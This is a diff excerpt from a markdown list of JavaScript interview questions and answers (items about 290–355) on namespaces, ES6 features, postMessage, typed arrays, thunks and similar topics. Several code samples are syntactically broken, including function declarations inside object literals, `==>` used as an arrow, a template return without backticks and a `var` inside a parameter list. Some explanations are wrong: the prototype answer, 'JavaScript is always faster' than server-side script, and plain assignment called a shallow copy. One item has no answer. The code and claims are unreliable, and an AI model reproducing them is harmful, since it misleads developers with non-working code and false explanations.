+        |---- | ---- | -----
+        | Typed | It's a strongly typed language | It's a dynamic typed language |
+        | Paradigm | Object oriented programming | Prototype based programming |
+        | Scoping | Block scoped | Function-scoped |
+        | Concurrency | Thread based | event based |
+        | Memory | Uses more memory | Uses less memory. Hence it will be used for web pages |
+
+290.    Does JavaScript supports namespace
+
+        JavaScript doesn't support namespace by default. So if you create any element(function, method, object, variable) then it becomes global and pollutes the global namespace. Let's take an example of defining two functions without any namespace,
+
+        ```javascript
+        function func1() {
+            console.log('This is a first definition');
+        }
+        function func1() {
+            console.log('This is a second definition');
+        }
+        func1(); // This is a second definition
+        ```
+
+        It always calls the second function definition. In this case, namespace will solve the name collision problem.
+
+291.    How do you declare namespace
+
+        Even though JavaScript lacks namespaces, we can use Objects , IIFE to create namespaces.
+
+        1. **Using Object Literal Notation:** Let's wrap variables and functions inside an Object literal which acts as a namespace. After that you can access them using object notation
+
+        ```javascript
+        var namespaceOne = {
+           function func1() {
+               console.log("This is a first definition");
+           }
+        }
+        var namespaceTwo = {
+             function func1() {
+                 console.log("This is a second definition");
+             }
+         }
+        namespaceOne.func1(); // This is a first definition
+        namespaceTwo.func1(); // This is a second definition
+        ```
+
+        1. **Using IIFE (Immediately invoked function expression):** The outer pair of parentheses of IIFE creates a local scope for all the code inside of it and makes the anonymous function a function expression. Due to that, you can create the same function in two different function expressions to act as a namespace.
+
+        ```javascript
+        (function () {
+            function fun1() {
+                console.log('This is a first definition');
+            }
+            fun1();
+        })();
+
+        (function () {
+            function fun1() {
+                console.log('This is a second definition');
+            }
+            fun1();
+        })();
+        ```
+
+        1. **Using a block and a let/const declaration:** In ECMAScript 6, you can simply use a block and a let declaration to restrict the scope of a variable to a block.
+
+        ```javascript
+        {
+            let myFunction = function fun1() {
+                console.log('This is a first definition');
+            };
+            myFunction();
+        }
+        //myFunction(): ReferenceError: myFunction is not defined.
+
+        {
+            let myFunction = function fun1() {
+                console.log('This is a second definition');
+            };
+            myFunction();
+        }
+        //myFunction(): ReferenceError: myFunction is not defined.
+        ```
+
+292.    How do you invoke javascript code in an iframe from parent page
+
+        Initially iFrame needs to be accessed using either `document.getElementBy` or `window.frames`. After that `contentWindow` property of iFrame gives the access for targetFunction
+
+        ```javascript
+        document.getElementById('targetFrame').contentWindow.targetFunction();
+        window.frames[0].frameElement.contentWindow.targetFunction(); // Accessing iframe this way may not work in latest versions chrome and firefox
+        ```
+
+293.    How do get the timezone offset from date
+
+        You can use the `getTimezoneOffset` method of the date object. This method returns the time zone difference, in minutes, from current locale (host system settings) to UTC
+
+        ```javascript
+        var offset = new Date().getTimezoneOffset();
+        console.log(offset); // -480
+        ```
+
+294.    How do you load CSS and JS files dynamically
+
+        You can create both link and script elements in the DOM and append them as child to head tag. Let's create a function to add script and style resources as below,
+
+        ```javascript
+        function loadAssets(filename, filetype) {
+            if (filetype == 'css') {
+                // External CSS file
+                var fileReference = document.createElement('link');
+                fileReference.setAttribute('rel', 'stylesheet');
+                fileReference.setAttribute('type', 'text/css');
+                fileReference.setAttribute('href', filename);
+            } else if (filetype == 'js') {
+                // External JavaScript file
+                var fileReference = document.createElement('script');
+                fileReference.setAttribute('type', 'text/javascript');
+                fileReference.setAttribute('src', filename);
+            }
+            if (typeof fileReference != 'undefined') document.getElementsByTagName('head')[0].appendChild(fileReference);
+        }
+        ```
+
+295.    What are the different methods to find HTML elements in DOM
+
+        If you want to access any element in an HTML page, you need to start with accessing the document object. Later you can use any of the below methods to find the HTML element,
+
+        1. document.getElementById(id): It finds an element by Id
+        2. document.getElementsByTagName(name): It finds an element by tag name
+        3. document.getElementsByClassName(name): It finds an element by class name
+
+296.    What is jQuery
+
+        jQuery is a popular cross-browser JavaScript library that provides Document Object Model (DOM) traversal, event handling, animations and AJAX interactions by minimizing the discrepancies across browsers. It is widely famous with its philosophy of "Write less, do more". For example, you can display welcome message on the page load using jQuery as below,
+
+        ```javascript
+        $(document).ready(function () {
+            // It selects the document and apply the function on page load
+            alert('Welcome to jQuery world');
+        });
+        ```
+
+        **Note:** You can download it from jquery's official site or install it from CDNs, like google.
+
+297.    What is V8 JavaScript engine
+
+        V8 is an open source high-performance JavaScript engine used by the Google Chrome browser, written in C++. It is also being used in the node.js project. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors.
+        **Note:** It can run standalone, or can be embedded into any C++ application.
+
+298.    Why do we call javascript as dynamic language
+
+        JavaScript is a loosely typed or a dynamic language because variables in JavaScript are not directly associated with any particular value type, and any variable can be assigned/reassigned with values of all types.
+
+        ```javascript
+        let age = 50; // age is a number now
+        age = 'old'; // age is a string now
+        age = true; // age is a boolean
+        ```
+
+299.    What is a void operator
+
+        The `void` operator evaluates the given expression and then returns undefined(i.e, without returning value). The syntax would be as below,
+
+        ```javascript
+        void expression;
+        void expression;
+        ```
+
+        Let's display a message without any redirection or reload
+
+        ```javascript
+        <a href="javascript:void(alert('Welcome to JS world'))">Click here to see a message</a>
+        ```
+
+        **Note:** This operator is often used to obtain the undefined primitive value, using "void(0)".
+
+300.    How to set the cursor to wait
+
+             The cursor can be set to wait in JavaScript by using the property "cursor". Let's perform this behavior on page load using the below function.
+
+             ```javascript
+             function myFunction() {
+                 window.document.body.style.cursor = 'wait';
+             }
+             ```
+
+             and this function invoked on page load
+
+             ```html
+             <body onload="myFunction()">
+
+        </body>
+             ```
+
+301.    How do you create an infinite loop
+
+        You can create infinite loops using for and while loops without using any expressions. The for loop construct or syntax is better approach in terms of ESLint and code optimizer tools,
+
+        ```javascript
+        for (;;) {}
+        while (true) {}
+        ```
+
+302.    Why do you need to avoid with statement
+
+        JavaScript's with statement was intended to provide a shorthand for writing recurring accesses to objects. So it can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. Let's take an example where it is used to avoid redundancy when accessing an object several times.
+
+        ```javascript
+        a.b.c.greeting = 'welcome';
+        a.b.c.age = 32;
+        ```
+
+        Using `with` it turns this into:
+
+        ```javascript
+        with (a.b.c) {
+            greeting = 'welcome';
+            age = 32;
+        }
+        ```
+
+        But this `with` statement creates performance problems since one cannot predict whether an argument will refer to a real variable or to a property inside the with argument.
+
+303.    What is the output of below for loops
+
+        ```javascript
+        for (var i = 0; i < 4; i++) {
+            // global scope
+            setTimeout(() => console.log(i));
+        }
+
+        for (let i = 0; i < 4; i++) {
+            // block scope
+            setTimeout(() => console.log(i));
+        }
+        ```
+
+        The output of the above for loops is 4 4 4 4 and 0 1 2 3
+
+        **Explanation:** Due to the event queue/loop of javascript, the `setTimeout` callback function is called after the loop has been executed. Since the variable i is declared with the `var` keyword it became a global variable and the value was equal to 4 using iteration when the time `setTimeout` function is invoked. Hence, the output of the first loop is `4 4 4 4`.
+
+        Whereas in the second loop, the variable i is declared as the `let` keyword it becomes a block scoped variable and it holds a new value(0, 1 ,2 3) for each iteration. Hence, the output of the first loop is `0 1 2 3`.
+
+304.    List down some of the features of ES6
+
+        Below are the list of some new features of ES6,
+
+        1. Support for constants or immutable variables
+        2. Block-scope support for variables, constants and functions
+        3. Arrow functions
+        4. Default parameters
+        5. Rest and Spread Parameters
+        6. Template Literals
+        7. Multi-line Strings
+        8. Destructuring Assignment
+        9. Enhanced Object Literals
+        10. Promises
+        11. Classes
+        12. Modules
+
+305.    What is ES6
+
+        ES6 is the sixth edition of the javascript language and it was released in June 2015. It was initially known as ECMAScript 6 (ES6) and later renamed to ECMAScript 2015. Almost all the modern browsers support ES6 but for the old browsers there are many transpilers, like Babel.js etc.
+
+306.    Can I redeclare let and const variables
+
+        No, you cannot redeclare let and const variables. If you do, it throws below error
+
+        ```console
+        Uncaught SyntaxError: Identifier 'someVariable' has already been declared
+        ```
+
+        **Explanation:** The variable declaration with `var` keyword refers to a function scope and the variable is treated as if it were declared at the top of the enclosing scope due to hoisting feature. So all the multiple declarations contributing to the same hoisted variable without any error. Let's take an example of re-declaring variables in the same scope for both var and let/const variables.
+
+        ```javascript
+        var name = 'John';
+        function myFunc() {
+            var name = 'Nick';
+            var name = 'Abraham'; // Re-assigned in the same function block
+            alert(name); // Abraham
+        }
+        myFunc();
+        alert(name); // John
+        ```
+
+        The block-scoped multi-declaration throws syntax error,
+
+        ```javascript
+        let name = 'John';
+        function myFunc() {
+            let name = 'Nick';
+            let name = 'Abraham'; // Uncaught SyntaxError: Identifier 'name' has already been declared
+            alert(name);
+        }
+
+        myFunc();
+        alert(name);
+        ```
+
+307.    Is const variable makes the value immutable
+
+        No, the const variable doesn't make the value immutable. But it disallows subsequent assignments(i.e, You can declare with assignment but can't assign another value later)
+
+        ```javascript
+        const userList = [];
+        userList.push('John'); // Can mutate even though it can't re-assign
+        console.log(userList); // ['John']
+        ```
+
+308.    What are default parameters
+
+        In E5, we need to depend on logical OR operators to handle default values of function parameters. Whereas in ES6, Default function parameters feature allows parameters to be initialized with default values if no value or undefined is passed. Let's compare the behavior with an examples,
+
+        ```javascript
+        //ES5
+        var calculateArea = function (height, width) {
+            height = height || 50;
+            width = width || 60;
+
+            return width * height;
+        };
+        console.log(calculateArea()); //300
+        ```
+
+        The default parameters makes the initialization more simpler,
+
+        ```javascript
+        //ES6
+        var calculateArea = function (height = 50, width = 60) {
+            return width * height;
+        };
+
+        console.log(calculateArea()); //300
+        ```
+
+309.    What are template literals
+
+        Template literals or template strings are string literals allowing embedded expressions. These are enclosed by the back-tick (`) character instead of double or single quotes.
+        In E6, this feature enables using dynamic expressions as below,
+
+        ```javascript
+        var greeting = `Welcome to JS World, Mr. ${firstName} ${lastName}.`;
+        ```
+
+        In ES5, you need break string like below,
+
+        ```javascript
+        var greeting = 'Welcome to JS World, Mr. ' + firstName + ' ' + lastName.`
+        ```
+
+        **Note:** You can use multi-line strings and string interpolation features with template literals.
+
+310.    How do you write multi-line strings in template literals
+
+        In ES5, you would have to use newline escape characters('\\n') and concatenation symbols(+) in order to get multi-line strings.
+
+        ```javascript
+        console.log('This is string sentence 1\n' + 'This is string sentence 2');
+        ```
+
+        Whereas in ES6, You don't need to mention any newline sequence character,
+
+        ```javascript
+        console.log(`This is string sentence
+        'This is string sentence 2`);
+        ```
+
+311.    What are nesting templates
+
+        The nesting template is a feature supported within template literals syntax to allow inner backticks inside a placeholder ${ } within the template. For example, the below nesting template is used to display the icons based on user permissions whereas outer template checks for platform type,
+
+        ```javascript
+        const iconStyles = `icon ${isMobilePlatform() ? '' : `icon-${user.isAuthorized ? 'submit' : 'disabled'}`}`;
+        ```
+
+        You can write the above use case without nesting template features as well. However, the nesting template feature is more compact and readable.
+
+        ```javascript
+        //Without nesting templates
+         const iconStyles = `icon ${ isMobilePlatform() ? '' :
+          (user.isAuthorized ? 'icon-submit' : 'icon-disabled'}`;
+        ```
+
+312.    What are tagged templates
+
+        Tagged templates are the advanced form of templates in which tags allow you to parse template literals with a function. The tag function accepts the first parameter as an array of strings and remaining parameters as expressions. This function can also return manipulated strings based on parameters. Let's see the usage of this tagged template behavior of an IT professional skill set in an organization,
+
+        ```javascript
+        var user1 = 'John';
+        var skill1 = 'JavaScript';
+        var experience1 = 15;
+
+        var user2 = 'Kane';
+        var skill2 = 'JavaScript';
+        var experience2 = 5;
+
+        function myInfoTag(strings, userExp, experienceExp, skillExp) {
+          var str0 = strings[0]; // "Mr/Ms. "
+          var str1 = strings[1]; // " is a/an "
+          var str2 = strings[2]; // "in"
+
+          var expertiseStr;
+          if (experienceExp > 10){
+            expertiseStr = 'expert developer';
+          } else if(skillExp > 5 && skillExp <= 10) {
+            expertiseStr = 'senior developer';
+          } else {
+            expertiseStr = 'junior developer';
+          }
+
+          return ${str0}${userExp}${str1}${expertiseStr}${str2}${skillExp};
+        }
+
+        var output1 = myInfoTag`Mr/Ms. ${ user1 } is a/an ${ experience1 } in ${skill1}`;
+        var output2 = myInfoTag`Mr/Ms. ${ user2 } is a/an ${ experience2 } in ${skill2}`;
+
+        console.log(output1);// Mr/Ms. John is a/an expert developer in JavaScript
+        console.log(output2);// Mr/Ms. Kane is a/an junior developer in JavaScript
+        ```
+
+313.    What are raw strings
+
+        ES6 provides a raw strings feature using the `String.raw()` method which is used to get the raw string form of template strings. This feature allows you to access the raw strings as they were entered, without processing escape sequences. For example, the usage would be as below,
+
+        ```javascript
+        var calculationString = String.raw`The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString); // The sum of numbers is 10
+        ```
+
+        If you don't use raw strings, the newline character sequence will be processed by displaying the output in multiple lines
+
+        ```javascript
+        var calculationString = `The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString);
+        // The sum of numbers is
+        // 10
+        ```
+
+        Also, the raw property is available on the first argument to the tag function
+
+        ```javascript
+        function tag(strings) {
+            console.log(strings.raw[0]);
+        }
+        ```
+
+314.    What is destructuring assignment
+
+        The destructuring assignment is a JavaScript expression that makes it possible to unpack values from arrays or properties from objects into distinct variables.
+        Let's get the month values from an array using destructuring assignment
+
+        ```javascript
+        var [one, two, three] = ['JAN', 'FEB', 'MARCH'];
+
+        console.log(one); // "JAN"
+        console.log(two); // "FEB"
+        console.log(three); // "MARCH"
+        ```
+
+        and you can get user properties of an object using destructuring assignment,
+
+        ```javascript
+        var { name, age } = { name: 'John', age: 32 };
+
+        console.log(name); // John
+        console.log(age); // 32
+        ```
+
+315.    What are default values in destructuring assignment
+
+        A variable can be assigned a default value when the value unpacked from the array or object is undefined during destructuring assignment. It helps to avoid setting default values separately for each assignment. Let's take an example for both arrays and object use cases,
+
+        **Arrays destructuring:**
+
+        ```javascript
+        var x, y, z;
+
+        [x = 2, y = 4, z = 6] = [10];
+        console.log(x); // 10
+        console.log(y); // 4
+        console.log(z); // 6
+        ```
+
+        **Objects destructuring:**
+
+        ```javascript
+        var { x = 2, y = 4, z = 6 } = { x: 10 };
+
+        console.log(x); // 10
+        console.log(y); // 4
+        console.log(z); // 6
+        ```
+
+316.    How do you swap variables in destructuring assignment
+
+        If you don't use destructuring assignment, swapping two values requires a temporary variable. Whereas using a destructuring feature, two variable values can be swapped in one destructuring expression. Let's swap two number variables in array destructuring assignment,
+
+        ```javascript
+        var x = 10,
+            y = 20;
+
+        [x, y] = [y, x];
+        console.log(x); // 20
+        console.log(y); // 10
+        ```
+
+317.    What are enhanced object literals
+
+        Object literals make it easy to quickly create objects with properties inside the curly braces. For example, it provides shorter syntax for common object property definition as below.
+
+        ```javascript
+        //ES6
+        var x = 10,
+            y = 20;
+        obj = { x, y };
+        console.log(obj); // {x: 10, y:20}
+        //ES5
+        var x = 10,
+            y = 20;
+        obj = { x: x, y: y };
+        console.log(obj); // {x: 10, y:20}
+        ```
+
+318.    What are dynamic imports
+
+        The dynamic imports using `import()` function syntax allows us to load modules on demand by using promises or the async/await syntax. Currently this feature is in [stage4 proposal](https://github.com/tc39/proposal-dynamic-import). The main advantage of dynamic imports is reduction of our bundle's sizes, the size/payload response of our requests and overall improvements in the user experience.
+        The syntax of dynamic imports would be as below,
+
+        ```javascript
+        import('./Module').then((Module) => Module.method());
+        ```
+
+319.    What are the use cases for dynamic imports
+
+        Below are some of the use cases of using dynamic imports over static imports,
+
+        1. Import a module on-demand or conditionally. For example, if you want to load a polyfill on legacy browser
+
+        ```javascript
+        if (isLegacyBrowser()) {
+            import(···)
+            .then(···);
+        }
+        ```
+
+        1. Compute the module specifier at runtime. For example, you can use it for internationalization.
+
+        ```javascript
+        import(`messages_${getLocale()}.js`).then(···);
+        ```
+
+        1. Import a module from within a regular script instead a module.
+
+320.    What are typed arrays
+
+        Typed arrays are array-like objects from ECMAScript 6 API for handling binary data. JavaScript provides 8 Typed array types,
+
+        1. Int8Array: An array of 8-bit signed integers
+        2. Int16Array: An array of 16-bit signed integers
+        3. Int32Array: An array of 32-bit signed integers
+        4. Uint8Array: An array of 8-bit unsigned integers
+        5. Uint16Array: An array of 16-bit unsigned integers
+        6. Uint32Array: An array of 32-bit unsigned integers
+        7. Float32Array: An array of 32-bit floating point numbers
+        8. Float64Array: An array of 64-bit floating point numbers
+
+        For example, you can create an array of 8-bit signed integers as below
+
+        ```javascript
+        const a = new Int8Array();
+        // You can pre-allocate n bytes
+        const bytes = 1024;
+        const a = new Int8Array(bytes);
+        ```
+
+321.    What are the advantages of module loaders
+
+        The module loaders provides the below features,
+
+        1. Dynamic loading
+        2. State isolation
+        3. Global namespace isolation
+        4. Compilation hooks
+        5. Nested virtualization
+
+322.    What is collation
+
+        Collation is used for sorting a set of strings and searching within a set of strings. It is parameterized by locale and aware of Unicode. Let's take comparison and sorting features,
+
+        1. **Comparison:**
+
+        ```javascript
+        var list = ['ä', 'a', 'z']; // In German,  "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(l10nDE.compare('ä', 'z') === -1); // true
+        console.log(l10nSV.compare('ä', 'z') === +1); // true
+        ```
+
+        1. **Sorting:**
+
+        ```javascript
+        var list = ['ä', 'a', 'z']; // In German,  "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(list.sort(l10nDE.compare)); // [ "a", "ä", "z" ]
+        console.log(list.sort(l10nSV.compare)); // [ "a", "z", "ä" ]
+        ```
+
+323.    What is for...of statement
+
+        The for...of statement creates a loop iterating over iterable objects or elements such as built-in String, Array, Array-like objects (like arguments or NodeList), TypedArray, Map, Set, and user-defined iterables. The basic usage of for...of statement on arrays would be as below,
+
+        ```javascript
+        let arrayIterable = [10, 20, 30, 40, 50];
+
+        for (let value of arrayIterable) {
+            value++;
+            console.log(value); // 11 21 31 41 51
+        }
+        ```
+
+324.    What is the output of below spread operator array
+
+        ```javascript
+        [...'John Resig'];
+        ```
+
+        The output of the array is ['J', 'o', 'h', 'n', '', 'R', 'e', 's', 'i', 'g']
+        **Explanation:** The string is an iterable type and the spread operator within an array maps every character of an iterable to one element. Hence, each character of a string becomes an element within an Array.
+
+325.    Is PostMessage secure
+
+        Yes, postMessages can be considered very secure as long as the programmer/developer is careful about checking the origin and source of an arriving message. But if you try to send/receive a message without verifying its source will create cross-site scripting attacks.
+
+326.    What are the problems with postmessage target origin as wildcard
+
+        The second argument of postMessage method specifies which origin is allowed to receive the message. If you use the wildcard "\*" as an argument then any origin is allowed to receive the message. In this case, there is no way for the sender window to know if the target window is at the target origin when sending the message. If the target window has been navigated to another origin, the other origin would receive the data. Hence, this may lead to XSS vulnerabilities.
+
+        ```javascript
+        targetWindow.postMessage(message, '*');
+        ```
+
+327.    How do you avoid receiving postMessages from attackers
+
+        Since the listener listens for any message, an attacker can trick the application by sending a message from the attacker's origin, which gives an impression that the receiver received the message from the actual sender's window. You can avoid this issue by validating the origin of the message on the receiver's end using the "message.origin" attribute. For examples, let's check the sender's origin [http://www.some-sender.com](http://www.some-sender.com) on receiver side [www.some-receiver.com](www.some-receiver.com),
+
+        ```javascript
+        //Listener on http://www.some-receiver.com/
+        window.addEventListener("message", function(message){
+            if(/^http://www\.some-sender\.com$/.test(message.origin)){
+                 console.log('You received the data from valid sender', message.data);
+           }
+        });
+        ```
+
+328.    Can I avoid using postMessages completely
+
+        You cannot avoid using postMessages completely(or 100%). Even though your application doesn't use postMessage considering the risks, a lot of third party scripts use postMessage to communicate with the third party service. So your application might be using postMessage without your knowledge.
+
+329.    Is postMessages synchronous
+
+        The postMessages are synchronous in IE8 browser but they are asynchronous in IE9 and all other modern browsers (i.e, IE9+, Firefox, Chrome, Safari).Due to this asynchronous behaviour, we use a callback mechanism when the postMessage is returned.
+
+330.    What paradigm is Javascript
+
+        JavaScript is a multi-paradigm language, supporting imperative/procedural programming, Object-Oriented Programming and functional programming. JavaScript supports Object-Oriented Programming with prototypical inheritance.
+
+331.    What is the difference between internal and external javascript
+
+        **Internal JavaScript:** It is the source code within the script tag.
+        **External JavaScript:** The source code is stored in an external file(stored with .js extension) and referred with in the tag.
+
+332.    Is JavaScript faster than server side script
+
+        Yes, JavaScript is faster than server side script. Because JavaScript is a client-side script it does not require any web server's help for its computation or calculation. So JavaScript is always faster than any server-side script like ASP, PHP, etc.
+
+333.    How do you get the status of a checkbox
+
+        You can apply the `checked` property on the selected checkbox in the DOM. If the value is `True` means the checkbox is checked otherwise it is unchecked. For example, the below HTML checkbox element can be access using javascript as below,
+
+        ```html
+        <input type="checkbox" name="checkboxname" value="Agree" /> Agree the conditions<br />
+        ```
+
+        ```javascript
+        console.log(document.getElementById('checkboxname').checked); // true or false
+        ```
+
+334.    What is the purpose of double tilde operator
+
+        The double tilde operator(~~) is known as double NOT bitwise operator. This operator is going to be a quicker substitute for Math.floor().
+
+335.    How do you convert character to ASCII code
+
+        You can use the `String.prototype.charCodeAt()` method to convert string characters to ASCII numbers. For example, let's find ASCII code for the first letter of 'ABC' string,
+
+        ```javascript
+        'ABC'.charCodeAt(0); // returns 65
+        ```
+
+        Whereas `String.fromCharCode()` method converts numbers to equal ASCII characters.
+
+        ```javascript
+        String.fromCharCode(65, 66, 67); // returns 'ABC'
+        ```
+
+336.    What is ArrayBuffer
+
+        An ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You can create it as below,
+
+        ```javascript
+        let buffer = new ArrayBuffer(16); // create a buffer of length 16
+        alert(buffer.byteLength); // 16
+        ```
+
+        To manipulate an ArrayBuffer, we need to use a "view" object.
+
+        ```javascript
+        //Create a DataView referring to the buffer
+        let view = new DataView(buffer);
+        ```
+
+337.    What is the output of below string expression
+
+        ```javascript
+        console.log('Welcome to JS world'[0]);
+        ```
+
+        The output of the above expression is "W".
+        **Explanation:** The bracket notation with specific index on a string returns the character at a specific location. Hence, it returns the character "W" of the string. Since this is not supported in IE7 and below versions, you may need to use the .charAt() method to get the desired result.
+
+338.    What is the purpose of Error object
+
+        The Error constructor creates an error object and the instances of error objects are thrown when runtime errors occur. The Error object can also be used as a base object for user-defined exceptions. The syntax of error object would be as below,
+
+        ```javascript
+        new Error([message[, fileName[, lineNumber]]])
+        ```
+
+        You can throw user defined exceptions or errors using Error object in try...catch block as below,
+
+        ```javascript
+        try {
+            if (withdraw > balance) throw new Error("Oops! You don't have enough balance");
+        } catch (e) {
+            console.log(e.name + ': ' + e.message);
+        }
+        ```
+
+339.    What is the purpose of EvalError object
+
+        The EvalError object indicates an error regarding the global `eval()` function. Even though this exception is not thrown by JavaScript anymore, the EvalError object remains for compatibility. The syntax of this expression would be as below,
+
+        ```javascript
+        new EvalError([message[, fileName[, lineNumber]]])
+        ```
+
+        You can throw EvalError with in try...catch block as below,
+
+        ```javascript
+        try {
+          throw new EvalError('Eval function error', 'someFile.js', 100);
+        } catch (e) {
+          console.log(e.message, e.name, e.fileName);              // "Eval function error", "EvalError", "someFile.js"
+        ```
+
+340.    What are the list of cases error thrown from non-strict mode to strict mode
+
+        When you apply 'use strict'; syntax, some of the below cases will throw a SyntaxError before executing the script
+
+        1. When you use Octal syntax
+
+        ```javascript
+        var n = 022;
+        ```
+
+        1. Using `with` statement
+        2. When you use delete operator on a variable name
+        3. Using eval or arguments as variable or function argument name
+        4. When you use newly reserved keywords
+        5. When you declare a function in a block
+
+        ```javascript
+        if (someCondition) {
+            function f() {}
+        }
+        ```
+
+        Hence, the errors from above cases are helpful to avoid errors in development/production environments.
+
+341.    Do all objects have prototypes
+
+        No. All objects have prototypes except for the base object which is created by the user, or an object that is created using the new keyword.
+
+342.    What is the difference between a parameter and an argument
+
+        Parameter is the variable name of a function definition whereas an argument represents the value given to a function when it is invoked. Let's explain this with a simple function
+
+        ```javascript
+        function myFunction(parameter1, parameter2, parameter3) {
+            console.log(arguments[0]); // "argument1"
+            console.log(arguments[1]); // "argument2"
+            console.log(arguments[2]); // "argument3"
+        }
+        myFunction('argument1', 'argument2', 'argument3');
+        ```
+
+343.    What is the purpose of some method in arrays
+
+        The some() method is used to test whether at least one element in the array passes the test implemented by the provided function. The method returns a boolean value. Let's take an example to test for any odd elements,
+
+        ```javascript
+        var array = [1, 2, 3, 4, 5, 6 ,7, 8, 9, 10];
+
+        var odd = element ==> element % 2 !== 0;
+
+        console.log(array.some(odd)); // true (the odd element exists)
+        ```
+
+344.    How do you combine two or more arrays
+
+        The concat() method is used to join two or more arrays by returning a new array containing all the elements. The syntax would be as below,
+
+        ```javascript
+        array1.concat(array2, array3, ..., arrayX)
+        ```
+
+        Let's take an example of array's concatenation with veggies and fruits arrays,
+
+        ```javascript
+        var veggies = ['Tomato', 'Carrot', 'Cabbage'];
+        var fruits = ['Apple', 'Orange', 'Pears'];
+        var veggiesAndFruits = veggies.concat(fruits);
+        console.log(veggiesAndFruits); // Tomato, Carrot, Cabbage, Apple, Orange, Pears
+        ```
+
+345.    What is the difference between Shallow and Deep copy
+
+        There are two ways to copy an object,
+
+        **Shallow Copy:**
+        Shallow copy is a bitwise copy of an object. A new object is created that has an exact copy of the values in the original object. If any of the fields of the object are references to other objects, just the reference addresses are copied i.e., only the memory address is copied.
+
+        **Example**
+
+        ```javascript
+        var empDetails = {
+            name: 'John',
+            age: 25,
+            expertise: 'Software Developer'
+        };
+        ```
+
+        to create a duplicate
+
+        ```javascript
+        var empDetailsShallowCopy = empDetails; //Shallow copying!
+        ```
+
+        if we change some property value in the duplicate one like this:
+
+        ```javascript
+        empDetailsShallowCopy.name = 'Johnson';
+        ```
+
+        The above statement will also change the name of `empDetails`, since we have a shallow copy. That means we're losing the original data as well.
+
+        **Deep copy:**
+        A deep copy copies all fields, and makes copies of dynamically allocated memory pointed to by the fields. A deep copy occurs when an object is copied along with the objects to which it refers.
+
+        **Example**
+
+        ```javascript
+        var empDetails = {
+            name: 'John',
+            age: 25,
+            expertise: 'Software Developer'
+        };
+        ```
+
+        Create a deep copy by using the properties from the original object into new variable
+
+        ```javascript
+        var empDetailsDeepCopy = {
+            name: empDetails.name,
+            age: empDetails.age,
+            expertise: empDetails.expertise
+        };
+        ```
+
+        Now if you change `empDetailsDeepCopy.name`, it will only affect `empDetailsDeepCopy` & not `empDetails`
+
+346.    How do you create specific number of copies of a string
+
+        The `repeat()` method is used to construct and return a new string which contains the specified number of copies of the string on which it was called, concatenated together. Remember that this method has been added to the ECMAScript 2015 specification.
+        Let's take an example of Hello string to repeat it 4 times,
+
+        ```javascript
+        'Hello'.repeat(4); // 'HelloHelloHelloHello'
+        ```
+
+347.    How do you return all matching strings against a regular expression
+
+        The `matchAll()` method can be used to return an iterator of all results matching a string against a regular expression. For example, the below example returns an array of matching string results against a regular expression,
+
+        ```javascript
+        let regexp = /Hello(\d?))/g;
+        let greeting = 'Hello1Hello2Hello3';
+
+        let greetingList = [...greeting.matchAll(regexp)];
+
+        console.log(greetingList[0]); //Hello1
+        console.log(greetingList[1]); //Hello2
+        console.log(greetingList[2]); //Hello3
+        ```
+
+348.    How do you trim a string at the beginning or ending
+
+        The `trim` method of string prototype is used to trim on both sides of a string. But if you want to trim especially at the beginning or ending of the string then you can use `trimStart/trimLeft` and `trimEnd/trimRight` methods. Let's see an example of these methods on a greeting message,
+
+        ```javascript
+        var greeting = '   Hello, Goodmorning!   ';
+
+        console.log(greeting); // "   Hello, Goodmorning!   "
+        console.log(greeting.trimStart()); // "Hello, Goodmorning!   "
+        console.log(greeting.trimLeft()); // "Hello, Goodmorning!   "
+
+        console.log(greeting.trimEnd()); // "   Hello, Goodmorning!"
+        console.log(greeting.trimRight()); // "   Hello, Goodmorning!"
+        ```
+
+349.    What is the output of below console statement with unary operator
+
+        Let's take console statement with unary operator as given below,
+
+        ```javascript
+        console.log(+'Hello');
+        ```
+
+        The output of the above console log statement returns NaN. Because the element is prefixed by the unary operator and the JavaScript interpreter will try to convert that element into a number type. Since the conversion fails, the value of the statement results in NaN value.
+
+350.    Does javascript uses mixins
+
+351.    What is a thunk function
+
+        A thunk is just a function which delays the evaluation of the value. It doesn't take any arguments but gives the value whenever you invoke the thunk. i.e, It is used not to execute now but it will be sometime in the future. Let's take a synchronous example,
+
+        ```javascript
+        const add = (x, y) => x + y;
+
+        const thunk = () => add(2, 3);
+
+        thunk(); // 5
+        ```
+
+352.    What are asynchronous thunks
+
+        The asynchronous thunks are useful to make network requests. Let's see an example of network requests,
+
+        ```javascript
+        function fetchData(fn) {
+            fetch('https://jsonplaceholder.typicode.com/todos/1')
+                .then((response) => response.json())
+                .then((json) => fn(json));
+        }
+
+        const asyncThunk = function () {
+            return fetchData(function getData(data) {
+                console.log(data);
+            });
+        };
+
+        asyncThunk();
+        ```
+
+        The `getData` function won't be called immediately but it will be invoked only when the data is available from API endpoint. The setTimeout function is also used to make our code asynchronous. The best real time example is redux state management library which uses the asynchronous thunks to delay the actions to dispatch.
+
+353.    What is the output of below function calls
+
+        **Code snippet:**
+
+        ```javascript
+        const circle = {
+            radius: 20,
+            diameter() {
+                return this.radius * 2;
+            },
+            perimeter: () => 2 * Math.PI * this.radius
+        };
+        ```
+
+        console.log(circle.diameter());
+        console.log(circle.perimeter());
+
+        **Output:**
+
+        The output is 40 and NaN. Remember that diameter is a regular function, whereas the value of perimeter is an arrow function. The `this` keyword of a regular function(i.e, diameter) refers to the surrounding scope which is a class(i.e, Shape object). Whereas this keyword of perimeter function refers to the surrounding scope which is a window object. Since there is no radius property on window objects it returns an undefined value and the multiple of number value returns NaN value.
+
+354.    How to remove all line breaks from a string
+
+        The easiest approach is using regular expressions to detect and replace newlines in the string. In this case, we use replace function along with string to replace with, which in our case is an empty string.
+
+        ```javascript
+        function remove_linebreaks( var message ) {
+            return message.replace( /[\r\n]+/gm, "" );
+        }
+        ```
+
+        In the above expression, g and m are for global and multiline flags.
+
+355.    What is the difference between reflow and repaint
+
